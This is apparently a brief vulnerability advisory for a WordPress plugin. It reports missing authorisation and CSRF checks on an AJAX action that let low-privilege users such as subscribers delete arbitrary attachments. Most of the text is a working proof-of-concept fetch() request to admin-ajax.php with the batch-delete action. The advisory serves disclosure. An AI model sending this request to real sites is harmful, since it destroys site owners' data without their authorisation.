The plugin does not have authorisation and CSRF checks in an AJAX action, allowing ay authenticated users, such as subscriber to call and delete arbitrary attachments
fetch('https://example.com/wp-admin/admin-ajax.php', {
method: 'POST',
headers: new Headers({
'Content-Type': 'application/x-www-form-urlencoded',
}),
body: 'action=exopite-sof-file-batch-delete&media-ids%5B%5D=1&media-ids%5B%5D=1',
redirect: 'follow'
}).then(response => response.text()).then(result => console.log(result)).catch(error => console.log('error', error));